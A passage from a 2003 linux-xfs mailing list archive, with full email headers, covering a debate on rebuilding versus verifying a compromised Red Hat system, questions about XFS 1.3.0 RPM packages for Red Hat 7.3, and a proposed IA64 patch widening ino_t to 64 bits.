complete mkfs of all filesystems (i would dd the entire >> > disk with zeros) and a reinstall, then to audit your latest backup of >> > user data (do NOT restore ANY binaries). >> > >> > they could have installed a kernel module which will alter the >> > behavior of arbitrary tools WITHOUT replacing any binary on your >> > system, which means tripwire and the most expensive `antivirus' >> > software will NOT be able to help you. don't think that such a module >> > will show up in lsmod output either, or that its file is visible to >> > you on the filesystem. >> > >> > your box has been compromised, you need to rebuild it. >> > >> > -- >> > Ethan Benson >> > http://www.alaska.net/~erbenson/ >> > >> >> >> > > -- > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > Lonni J Friedman netllama@linux-sxs.org > Linux Step-by-step & TyGeMo http://netllama.ipfox.com > -- Simon Matter Tel: +41 61 695 57 35 Fr.Sauter AG / CIT Fax: +41 61 695 53 30 Im Surinam 55 CH-4016 Basel [mailto:simon.matter@ch.sauter-bc.com] From owner-linux-xfs@oss.sgi.com Tue Sep 16 10:01:43 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 16 Sep 2003 10:02:05 -0700 (PDT) Received: from server418.dnslive.net (server418.dnslive.net [216.74.126.5]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GH1eYa000749 for ; Tue, 16 Sep 2003 10:01:43 -0700 Received: from maxtnt06-237.phlpa.fast.net ([209.92.241.237] helo=thinker) by server418.dnslive.net with smtp (Exim 4.22) id 19zJCm-0007ZS-SX; Tue, 16 Sep 2003 13:01:33 -0400 From: "Michael Sinz" To: "Net Llama!" , "Simon Matter" Cc: "Ethan Benson" , "linux-xfs@oss.sgi.com" Date: Tue, 16 Sep 2003 13:01:22 -0400 Reply-To: "Michael Sinz" Priority: Normal X-Mailer: sinz.org In-Reply-To: <46673.213.173.165.140.1063729347.squirrel@imap01.ch.sauter-bc.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Subject: Re: XFS tree for Red Hat should be moved to at least kernel-2.4.20-20 Message-Id: X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - server418.dnslive.net X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - sinz.org X-archive-position: 421 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Linux@sinz.org Precedence: bulk X-list: linux-xfs Content-Length: 1786 Lines: 40 On Tue, 16 Sep 2003 18:22:27 +0200 (CEST), Simon Matter wrote: > >> On Tue, 16 Sep 2003, Simon Matter wrote: >>> No please. There are better solutions than mkfs in most situations. Why >>> being so afraid about kernel modules and rootkit binaries? Boot from a >>> CD >>> like knoppix or similar. Then mount all filesystems and examine the >>> system. First check whether your rpm database has been touched. A recent >>> backup may help here. Then rpm is your friend by finding out which files >> >> How do you know that you can trust your rpm binary? How do you know that >> you can trust your rpm database? How do you know that you can trust >> *anything* on the system? > >You boot from CD. Then you can use rpm2cpio running from the CD and >extract the rpm package which is installed on the target system. Diff all >the files and you're sure your rpm binaries are okay. Actually, if you have a "live" CD (like Knoppix) then you can use the RPM binary on the Knoppix CD. RPM has this nice feature where it can go though all of the files and all of the RPMs (you need to have those from somewhere safe, like CD or known-good source) and provide a report as to which files from which RPMs have changed. I am not sure anymore what the trick is, but you can also have it tell you if a file came from an RPM or not and get a list of all files that are not from RPM. (This could be huge if you server has lots of data or user files) Anyway, I always keep a trusted CD or two (actually, I am just starting to move to DVDs now) that are bootable and have all the tools to revalidate my systems. (and fix/restore them as needed) It gets more interesting when you have to do this with remote servers :-) -- Michael Sinz - http://www.sinz.org/Michael.Sinz/Linux - Linux@sinz.org From owner-linux-xfs@oss.sgi.com Tue Sep 16 12:35:38 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 16 Sep 2003 12:35:52 -0700 (PDT) Received: from students.fct.unl.pt (students.fct.unl.pt [193.136.120.10]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GJZaYa008300 for ; Tue, 16 Sep 2003 12:35:37 -0700 Received: from students.fct.unl.pt (localhost.localdomain [127.0.0.1]) by students.fct.unl.pt (8.12.8/8.12.8) with ESMTP id h8GJZZgj001098; Tue, 16 Sep 2003 20:35:35 +0100 Received: from localhost (pjsm@localhost) by students.fct.unl.pt (8.12.8/8.12.8/Submit) with ESMTP id h8GJZYrj001094; Tue, 16 Sep 2003 20:35:34 +0100 X-Authentication-Warning: students.fct.unl.pt: pjsm owned process doing -bs Date: Tue, 16 Sep 2003 20:35:34 +0100 (WEST) From: Paulo Matos To: Seth Mos cc: linux-xfs@oss.sgi.com Subject: XFS 1.3.0 RPMS for Red Hat 7.3 (was XFS 1.3.0pre4 ...) In-Reply-To: <4.3.2.7.2.20030801085547.0338ac60@pop.xs4all.nl> Message-ID: X-GPG-PUBLIC_KEY: http://students.fct.unl.pt/~pjsm/pjsm_fct.public.asc X-GPG-FINGRPRINT: 1024D/1DD3CA2F 5E95 9FD3 3435 A763 18E9 FB57 282B BCD7 1DD3 CA2F MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by students.fct.unl.pt id h8GJZZgj001098 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8GJZcYa008302 X-archive-position: 422 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: pjsm@fct.unl.pt Precedence: bulk X-list: linux-xfs Content-Length: 1109 Lines: 30 Hi Seth! On Fri, 1 Aug 2003, Seth Mos wrote: > First spin of some 1.3pre release rpms. > Built on Red Hat 7.3 with a small patch that alters the min/max readahead > buffers. That should fix the (read) performance issue that has been present > since the 2.4.18-27 2.4.20-8 switch. > > http://iserv.nl/files/xfs/2.4.20-18-xfs-1.3/ > > Next step is building with the latest errata. > If you need the 1.2 rpms I suggest fetching the RPMS Axel Thimm made. Are this packages , located at: http://iserv.nl/files/xfs/2.4.20-20/ up-to-date and stable? Since those for RH7.3 on http://atrpms.physik.fu-berlin.de/name/kernel/, are marked as bleeding... -- Paulo Matos ----------------------------------- ---------------------------------- |Sys & Net Admin | Serviço de Informática | |Faculdade de Ciências e Tecnologia | Tel: +351-21-2948596 | |Universidade Nova de Lisboa | Fax: +351-21-2948548 | |P-2829-516 Caparica | e-Mail: pjsm@fct.unl.pt | ----------------------------------- ---------------------------------- From owner-linux-xfs@oss.sgi.com Tue Sep 16 12:49:18 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 16 Sep 2003 12:49:25 -0700 (PDT) Received: from heretic.physik.fu-berlin.de (root@heretic.physik.fu-berlin.de [160.45.32.86]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GJmvYa009123 for ; Tue, 16 Sep 2003 12:49:18 -0700 Received: from puariko.homeip.net (r10acci-a89-190.acci.gr [195.170.15.190]) by heretic.physik.fu-berlin.de (8.12.8/8.12.8) with ESMTP id h8GJmegc004826 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 16 Sep 2003 21:48:52 +0200 Received: (from thimm@localhost) by pua.nirvana (8.12.9/8.12.9/Submit) id h8GJmacW004150; Tue, 16 Sep 2003 22:48:36 +0300 Date: Tue, 16 Sep 2003 22:48:35 +0300 From: Axel Thimm To: Paulo Matos Cc: linux-xfs@oss.sgi.com Subject: Re: XFS 1.3.0 RPMS for Red Hat 7.3 (was XFS 1.3.0pre4 ...) Message-ID: <20030916194835.GA3676@pua.nirvana> References: <4.3.2.7.2.20030801085547.0338ac60@pop.xs4all.nl> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="CE+1k2dSO48ffgeK" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-archive-position: 423 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Axel.Thimm@physik.fu-berlin.de Precedence: bulk X-list: linux-xfs Content-Length: 771 Lines: 29 --CE+1k2dSO48ffgeK Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Sep 16, 2003 at 08:35:34PM +0100, Paulo Matos wrote: > Since those for RH7.3 on http://atrpms.physik.fu-berlin.de/name/kernel/,= =20 > are marked as bleeding... Please try them nevertheless. If they don't get enough testing (including positive feedback) they won't get out of bleeding. ;) --=20 Axel.Thimm@physik.fu-berlin.de --CE+1k2dSO48ffgeK Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQE/Z2kSQBVS1GOamfERAvL3AJ9Ru8wDEuMfv77FCl4MT+GuRyOBJQCeNk/f BOFYx6BMoXLxtFxLoSXL4z0= =YsTR -----END PGP SIGNATURE----- --CE+1k2dSO48ffgeK-- From owner-linux-xfs@oss.sgi.com Tue Sep 16 13:26:29 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 16 Sep 2003 13:26:44 -0700 (PDT) Received: from malik.acsalaska.net (malik.acsalaska.net [209.112.155.41]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8GKQRYa011552 for ; Tue, 16 Sep 2003 13:26:28 -0700 Received: from erbenson.alaska.net (93-pm18.nwc.alaska.net [209.112.142.93]) by malik.acsalaska.net (8.12.9/8.12.9) with ESMTP id h8GIfxNL039738 for ; Tue, 16 Sep 2003 10:41:59 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id 97F4D39F4 for ; Tue, 16 Sep 2003 10:41:57 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id 0253E40FF35; Tue, 16 Sep 2003 10:41:57 -0800 (AKDT) Date: Tue, 16 Sep 2003 10:41:57 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: XFS tree for Red Hat should be moved to at least kernel-2.4.20-20 Message-ID: <20030916184157.GA2643@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: <20030914214745.GD827@plato.local.lan> <46483.213.173.165.140.1063724939.squirrel@imap01.ch.sauter-bc.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="45Z9DzgjV8m4Oswq" Content-Disposition: inline In-Reply-To: <46483.213.173.165.140.1063724939.squirrel@imap01.ch.sauter-bc.com> User-Agent: Mutt/1.3.28i X-OS: Debian GNU X-gpg-fingerprint: E3E4 D0BC 31BC F7BB C1DD C3D6 24AC 7B1A 2C44 7AFC X-gpg-key: http://www.alaska.net/~erbenson/gpg/key.asc Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-ACS-Spam-Status: no X-ACS-Scanned-By: MD 2.36; SA 2.55; spamdefang 1.54 X-archive-position: 424 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: erbenson@alaska.net Precedence: bulk X-list: linux-xfs Content-Length: 1019 Lines: 33 --45Z9DzgjV8m4Oswq Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Sep 16, 2003 at 05:08:59PM +0200, Simon Matter wrote: > No please. There are better solutions than mkfs in most situations. Why > being so afraid about kernel modules and rootkit binaries? Boot from a CD > like knoppix or similar. Then mount all filesystems and examine the > system. First check whether your rpm database has been touched. A recent > backup may help here. Then rpm is your friend by finding out which files no its not, an attacker can modify the rpmdb. --=20 Ethan Benson http://www.alaska.net/~erbenson/ --45Z9DzgjV8m4Oswq Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj9nWXUACgkQJKx7GixEevw/pwCeN1mPt6t7NrUzJIgMdmwtO9p5 A/AAnjwciK1tDD/AGRo/3gZiRZdQAuAS =Y7iq -----END PGP SIGNATURE----- --45Z9DzgjV8m4Oswq-- From owner-linux-xfs@oss.sgi.com Tue Sep 16 18:44:50 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 16 Sep 2003 18:45:09 -0700 (PDT) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8H1ioYa009962 for ; Tue, 16 Sep 2003 18:44:50 -0700 Received: from bruce.melbourne.sgi.com (bruce.melbourne.sgi.com [134.14.54.176]) by zok.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with ESMTP id h8H1ihq0024289 for ; Tue, 16 Sep 2003 18:44:44 -0700 Received: from bruce.melbourne.sgi.com (localhost.localdomain [127.0.0.1]) by bruce.melbourne.sgi.com (8.12.8/8.12.8) with ESMTP id h8H1iWGA008099 for ; Wed, 17 Sep 2003 11:44:32 +1000 Received: (from nathans@localhost) by bruce.melbourne.sgi.com (8.12.8/8.12.8/Submit) id h8H1iWH6008098 for linux-xfs@oss.sgi.com; Wed, 17 Sep 2003 11:44:32 +1000 Date: Wed, 17 Sep 2003 11:44:32 +1000 From: Nathan Scott Message-Id: <200309170144.h8H1iWH6008098@bruce.melbourne.sgi.com> Subject: TAKE 899755 - tweak inode flags X-archive-position: 425 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@bruce.melbourne.sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 509 Lines: 17 Some tweaks to the additional inode flags, suggested by Ethan. Date: Tue Sep 16 18:42:20 PDT 2003 Workarea: bruce.melbourne.sgi.com:/home/nathans/isms/devel The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-linux:slinx:158493a linux/fs/xfs/xfs_inode.c - 1.387 linux/fs/xfs/linux/xfs_globals.c - 1.59 linux/fs/xfs/linux/xfs_linux.h - 1.112 linux/fs/xfs/linux/xfs_stats.c - 1.15 linux/fs/xfs/linux/xfs_sysctl.c - 1.27 linux/fs/xfs/linux/xfs_sysctl.h - 1.20 From owner-linux-xfs@oss.sgi.com Wed Sep 17 00:13:23 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 17 Sep 2003 00:13:44 -0700 (PDT) Received: from rj.sgi.com (mtvcafw.SGI.COM [192.48.171.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8H7DNYa025776 for ; Wed, 17 Sep 2003 00:13:23 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by rj.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with SMTP id h8H5FxOO004046 for ; Tue, 16 Sep 2003 22:16:00 -0700 Received: from wobbly.melbourne.sgi.com (wobbly.melbourne.sgi.com [134.14.55.135]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id RAA09910; Wed, 17 Sep 2003 17:13:15 +1000 Received: from frodo.melbourne.sgi.com (root@frodo.melbourne.sgi.com [134.14.55.153]) by wobbly.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id h8H7D4mY174710; Wed, 17 Sep 2003 17:13:04 +1000 (EST) Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.9/8.12.9/Debian-3) with ESMTP id h8H7As80003275; Wed, 17 Sep 2003 17:10:54 +1000 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.9/8.12.9/Debian-3) id h8H7AjBM003273; Wed, 17 Sep 2003 17:10:45 +1000 Date: Wed, 17 Sep 2003 17:10:45 +1000 From: Nathan Scott To: linux-ia64@vger.kernel.org Cc: linux-xfs@oss.sgi.com Subject: IA64 ino_t incorrectly sized? Message-ID: <20030917071045.GA3037@frodo> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.3i X-archive-position: 426 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: nathans@sgi.com Precedence: bulk X-list: linux-xfs Content-Length: 2285 Lines: 54 Hi there, I've been doing some large filesystem testing on XFS, and noticed that several of our regression tests are failing. One particular problem area is xfsdump and its use of the getdents64 interface. I believe I've traced the problem back to the definition of ino_t (aka __kernel_ino_t) as an unsigned int in the platform-specific headers, and I suspect this should instead be an unsigned long on IA64. Here's the rationale: - all of IA64 userspace (glibc) allows for 64 bit inode numbers; see /usr/include/bits/types.h in particular, and __ino_t which is used in the stat and getdents64 syscalls. - when we come into the kernel via sys_getdents64, we call into filesystem specific code via fs/readdir.c::vfs_readdir and the readdir file operation. - this passes a filldir_t routine into the fs, which the fs uses to fill in the getdents buffer for each directory entry. - filldir64 from sys_getdents64 makes use of the linux_dirent64 structure internally (with a u64 d_ino) and is passed an ino_t as the inode number. - so, when we fill in each directory entry we're silently chopping off the high 32 bits of the inode number (casting from the XFS 64 bit inode to the ino_t argument of the filldir routines), which causes problems for xfsdump as it is looking at the inode numbers in the getdents buffer returned from the kernel. - I can see no reason to have this restriction on IA64, because userspace does allow for 64 bit inode numbers. Does anyone know why the IA64 platform-specific ino_t definition is an int and not a long? Patch below fixes this problem for me but I wonder if there will be side-effects I haven't considered (i.e. was there a reason for making this 32 bits originally?). If not, could the IA64 maintainers push this patch around to the official kernel trees for me? (pretty please) many thanks. -- Nathan --- /usr/tmp/TmpDir.16879-0/linux/include/asm-ia64/posix_types.h_1.1 Wed Sep 17 16:04:09 2003 +++ linux/include/asm-ia64/posix_types.h Wed Sep 17 11:29:30 2003 @@ -11,7 +11,7 @@ */ typedef unsigned int __kernel_dev_t; -typedef unsigned int __kernel_ino_t; +typedef unsigned long __kernel_ino_t; typedef unsigned int __kernel_mode_t; typedef unsigned int __kernel_nlink_t; typedef long __kernel_off_t; From owner-linux-xfs@oss.sgi.com Wed Sep 17 00:36:06 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 17 Sep 2003 00:36:21 -0700 (PDT) Received: from iris.acsalaska.net (iris.acsalaska.net [209.112.155.43]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8H7a5Ya030636 for ; Wed, 17 Sep 2003 00:36:06 -0700 Received: from erbenson.alaska.net (184-pm11.nwc.alaska.net [209.112.140.184]) by iris.acsalaska.net (8.12.9/8.12.9) with ESMTP id h8H7a2Om053857 for ; Tue, 16 Sep 2003 23:36:02 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id 0032339F4 for ; Tue, 16 Sep 2003 23:36:00 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id 4C46540FF38; Tue, 16 Sep 2003 23:36:01 -0800 (AKDT) Date: Tue, 16 Sep 2003 23:36:01 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: XFS tree for Red Hat should be moved to at least kernel-2.4.20-20 Message-ID: <20030917073601.GB2643@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: <20030914214745.GD827@plato.local.lan> <46483.213.173.165.140.1063724939.squirrel@imap01.ch.sauter-bc.com> <46673.213.173.165.140.1063729347.squirrel@imap01.ch.sauter-bc.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="uZ3hkaAS1mZxFaxD" Content-Disposition: inline In-Reply-To: <46673.213.173.165.140.1063729347.squirrel@imap01.ch.sauter-bc.com> User-Agent: Mutt/1.3.28i X-OS: Debian GNU X-gpg-fingerprint: E3E4 D0BC 31BC F7BB C1DD C3D6 24AC 7B1A 2C44 7AFC X-gpg-key: http://www.alaska.net/~erbenson/gpg/key.asc Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. X-ACS-Spam-Status: no X-ACS-Scanned-By: MD 2.36; SA 2.55; spamdefang 1.54 X-archive-position: 427 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: erbenson@alaska.net Precedence: bulk X-list: linux-xfs Content-Length: 1607 Lines: 49 --uZ3hkaAS1mZxFaxD Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Sep 16, 2003 at 06:22:27PM +0200, Simon Matter wrote: >=20 > > On Tue, 16 Sep 2003, Simon Matter wrote: > >> No please. There are better solutions than mkfs in most situations. Why > >> being so afraid about kernel modules and rootkit binaries? Boot from a > >> CD > >> like knoppix or similar. Then mount all filesystems and examine the > >> system. First check whether your rpm database has been touched. A rece= nt > >> backup may help here. Then rpm is your friend by finding out which fil= es > > > > How do you know that you can trust your rpm binary? How do you know th= at > > you can trust your rpm database? How do you know that you can trust > > *anything* on the system? >=20 > You boot from CD. Then you can use rpm2cpio running from the CD and > extract the rpm package which is installed on the target system. Diff all > the files and you're sure your rpm binaries are okay. the CD won't include all the security updates, or other upgrades, local installations etc. there are many many ways to hide things on a system, rpm cannot help you. --=20 Ethan Benson http://www.alaska.net/~erbenson/ --uZ3hkaAS1mZxFaxD Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj9oDuAACgkQJKx7GixEevzQpQCeP4QhPHD7j6lZv3TFVxl4jwP9 G+4An2MxCq7OGhsBsNIa4ipaH9Ek32nS =e2Ly -----END PGP SIGNATURE----- --uZ3hkaAS1mZxFaxD-- From owner-linux-xfs@oss.sgi.com Wed Sep 17 01:32:45 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 17 Sep 2003 01:33:02 -0700 (PDT) Received: from smtpzilla1.xs4all.nl (smtpzilla1.xs4all.nl [194.109.127.137]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8H8WhYa000537 for ; Wed, 17 Sep 2003 01:32:44 -0700 Received: from auto-nb1.xs4all.nl (a80-126-90-136.adsl.xs4all.nl [80.126.90.136]) by smtpzilla1.xs4all.nl (8.12.9/8.12.9) with ESMTP id h8H8Waoi064286; Wed, 17 Sep 2003 10:32:37 +0200 (CEST) Message-Id: <4.3.2.7.2.20030917103130.02da1500@pop.xs4all.nl> X-Sender: knuffie@pop.xs4all.nl X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 17 Sep 2003 10:32:34 +0200 To: Paulo Matos From: Seth Mos Subject: Re: XFS 1.3.0 RPMS for Red Hat 7.3 (was XFS 1.3.0pre4 ...) Cc: linux-xfs@oss.sgi.com In-Reply-To: References: <4.3.2.7.2.20030801085547.0338ac60@pop.xs4all.nl> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-archive-position: 428 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: knuffie@xs4all.nl Precedence: bulk X-list: linux-xfs Content-Length: 867 Lines: 32 At 20:35 16-9-2003 +0100, Paulo Matos wrote: > Hi Seth! > >On Fri, 1 Aug 2003, Seth Mos wrote: > > > First spin of some 1.3pre release rpms. > > Built on Red Hat 7.3 with a small patch that alters the min/max readahead > > buffers. That should fix the (read) performance issue that has been > present > > since the 2.4.18-27 2.4.20-8 switch. > > > > http://iserv.nl/files/xfs/2.4.20-18-xfs-1.3/ > > > > Next step is building with the latest errata. > > If you need the 1.2 rpms I suggest fetching the RPMS Axel Thimm made. > >Are this packages , located at: http://iserv.nl/files/xfs/2.4.20-20/ >up-to-date and stable? There icky, I'm removing them. >Since those for RH7.3 on http://atrpms.physik.fu-berlin.de/name/kernel/, >are marked as bleeding... Those do better. Use them instead. Cheers -- Seth It might just be your lucky day, if you only knew. From owner-linux-xfs@oss.sgi.com Wed Sep 17 02:13:36 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 17 Sep 2003 02:13:58 -0700 (PDT) Received: from mx-01-bsl.sauter-bc.com (mx-01-bsl.sauter-bc.com [213.173.165.132]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8H9DZYa003145 for ; Wed, 17 Sep 2003 02:13:36 -0700 Received: from mailhub.ch.sauter-bc.com (mailhub [10.1.6.26]) by mx-01-bsl.sauter-bc.com (Postfix) with ESMTP id 7776232C9B; Wed, 17 Sep 2003 11:13:29 +0200 (CEST) Received: from imap01.ch.sauter-bc.com (imap01.ch.sauter-bc.com [10.1.6.25]) by mailhub.ch.sauter-bc.com (Postfix) with ESMTP id AA0B732CD7; Wed, 17 Sep 2003 11:13:28 +0200 (CEST) Received: from webmail.ch.sauter-bc.com (localhost.localdomain [127.0.0.1]) by imap01.ch.sauter-bc.com (Postfix) with SMTP id 1884411E19; Wed, 17 Sep 2003 11:13:28 +0200 (CEST) Received: from 213.173.165.140 (proxying for 157.161.34.15) (SquirrelMail authenticated user mattesim) by imap01.ch.sauter-bc.com with HTTP; Wed, 17 Sep 2003 11:13:28 +0200 (CEST) Message-ID: <47309.213.173.165.140.1063790008.squirrel@imap01.ch.sauter-bc.com> In-Reply-To: <4.3.2.7.2.20030917103130.02da1500@pop.xs4all.nl> References: <4.3.2.7.2.20030801085547.0338ac60@pop.xs4all.nl> <4.3.2.7.2.20030917103130.02da1500@pop.xs4all.nl> Date: Wed, 17 Sep 2003 11:13:28 +0200 (CEST) Subject: Re: XFS 1.3.0 RPMS for Red Hat 7.3 (was XFS 1.3.0pre4 ...) From: "Simon Matter" To: "Seth Mos" Cc: "Paulo Matos" , linux-xfs@oss.sgi.com User-Agent: SquirrelMail/1.4.1 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 X-Priority: 3 Importance: Normal Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8H9DaYa003157 X-archive-position: 429 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: simon.matter@ch.sauter-bc.com Precedence: bulk X-list: linux-xfs Content-Length: 1336 Lines: 52 > At 20:35 16-9-2003 +0100, Paulo Matos wrote: >> Hi Seth! >> >>On Fri, 1 Aug 2003, Seth Mos wrote: >> >> > First spin of some 1.3pre release rpms. >> > Built on Red Hat 7.3 with a small patch that alters the min/max >> readahead >> > buffers. That should fix the (read) performance issue that has been >> present >> > since the 2.4.18-27 2.4.20-8 switch. >> > >> > http://iserv.nl/files/xfs/2.4.20-18-xfs-1.3/ >> > >> > Next step is building with the latest errata. >> > If you need the 1.2 rpms I suggest fetching the RPMS Axel Thimm made. >> >>Are this packages , located at: http://iserv.nl/files/xfs/2.4.20-20/ >>up-to-date and stable? > > There icky, I'm removing them. > >>Since those for RH7.3 on http://atrpms.physik.fu-berlin.de/name/kernel/, >>are marked as bleeding... > > Those do better. Use them instead. I have also made 2.4.20-20 rpms which are RedHat kernels with _only_ the XFS bits added. I have no bandwith to provide them but Rainer Traut made some of them available. You can check the archive, I don't remember where they are. Simon > > Cheers > > -- > Seth > It might just be your lucky day, if you only knew. > > > -- Simon Matter Tel: +41 61 695 57 35 Fr.Sauter AG / CIT Fax: +41 61 695 53 30 Im Surinam 55 CH-4016 Basel [mailto:simon.matter@ch.sauter-bc.com] From owner-linux-xfs@oss.sgi.com Wed Sep 17 07:33:46 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 17 Sep 2003 07:33:53 -0700 (PDT) Received: from trained-monkey.org (trained-monkey.org [209.217.122.11]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8HEXjYa027313 for ; Wed, 17 Sep 2003 07:33:46 -0700 Received: from trained-monkey.org (trained-monkey.org [127.0.0.1]) by trained-monkey.org (8.12.9/8.12.8) with ESMTP id h8HEXlZ3004094; Wed, 17 Sep 2003 10:33:47 -0400 Received: (from jes@localhost) by trained-monkey.org (8.12.9/8.12.9/Submit) id h8HEXlJS004090; Wed, 17 Sep 2003 10:33:47 -0400 X-Authentication-Warning: trained-monkey.org: jes set sender to jes@wildopensource.com using -f To: Nathan Scott Cc: linux-ia64@vger.kernel.org, linux-xfs@oss.sgi.com Subject: Re: IA64 ino_t incorrectly sized? References: <20030917071045.GA3037@frodo> From: Jes Sorensen Date: 17 Sep 2003 10:33:47 -0400 In-Reply-To: <20030917071045.GA3037@frodo> Message-ID: User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 430 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: jes@wildopensource.com Precedence: bulk X-list: linux-xfs Content-Length: 703 Lines: 20 >>>>> "Nathan" == Nathan Scott writes: Nathan> Does anyone know why the IA64 platform-specific ino_t Nathan> definition is an int and not a long? Patch below fixes this Nathan> problem for me but I wonder if there will be side-effects I Nathan> haven't considered (i.e. was there a reason for making this 32 Nathan> bits originally?). If not, could the IA64 maintainers push Nathan> this patch around to the official kernel trees for me? Nathan> (pretty please) Hi Nathan, I am actually surprised it's still a 